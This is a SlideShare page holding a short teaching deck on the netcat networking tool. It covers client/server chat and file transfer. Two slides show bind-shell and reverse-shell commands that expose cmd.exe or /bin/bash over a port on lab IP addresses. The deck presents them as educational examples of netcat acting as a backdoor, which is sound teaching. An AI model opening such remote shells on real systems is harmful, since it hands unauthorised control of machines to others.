Your SlideShare is downloading. ×
netcat in 5 slides
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

netcat in 5 slides

131
views

Published on

I try to present a concept in 5 slides … …

I try to present a concept in 5 slides …

… today netcat.

Published in: Education, Technology, Business

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
131
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
7
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. netcat in 5 slides
  • 2. netcat is simply describe as tool that can read and write on TCP and UDP ports (client mode / server mode) HEB-ÉSI · Pierre Bettens (pbt) · 2 / 9
  • 3. basic use nc -vv <IP> <PORT> $ nc -vv 192.168.216.101 80 connect to service and try to send command something like telnet HEB-ÉSI · Pierre Bettens (pbt) · 3 / 9
  • 4. basic use using netcat as client/server chat (host1 10.0.0.4) server $ nc -lvvp 4444 (host2) client $ nc -vv 10.0.0.4 4444 HEB-ÉSI · Pierre Bettens (pbt) · 4 / 9
  • 5. basic use using netcat to transfer file (host1 → host2) (host1 10.0.0.4) receiver $ nc -lvvp 4444 > receivedfile.txt (host2) sender $ nc -vv 10.0.0.4 4444 < filetosend.txt HEB-ÉSI · Pierre Bettens (pbt) · 5 / 9
  • 6. netcat is a backdoor ?
  • 7. advanced use using netcat for command redirection Bob (10.0.0.5) request Alice help and start C:> nc -lvvp 4444 -e cmd.exe Alice can connect to Bob $ nc -v 10.0.0.5 4444 HEB-ÉSI · Pierre Bettens (pbt) · 7 / 9
  • 8. advanced use using netcat for command redirection Bob (10.0.0.5) is available for Alice C:> nc -lvvp 4444 Alice can connect to Bob and send command $ nc -v 10.0.0.5 4444 -e /bin/bash HEB-ÉSI · Pierre Bettens (pbt) · 8 / 9
  • 9. This slides are part of 5slides serie « 5slides – how to present a concept in 5 slides » Credits Offensive security lab by Mati Aharoni pp37-48 netcat user guide · netcat.sourceforge Who am I ? Pierre Bettens (pbt) – http://blog.namok.be Images and icons The noun project; Joe Harrisson, Juan Pablo Bravo, Mert Gutav DeviantArt; Ritvik Pandey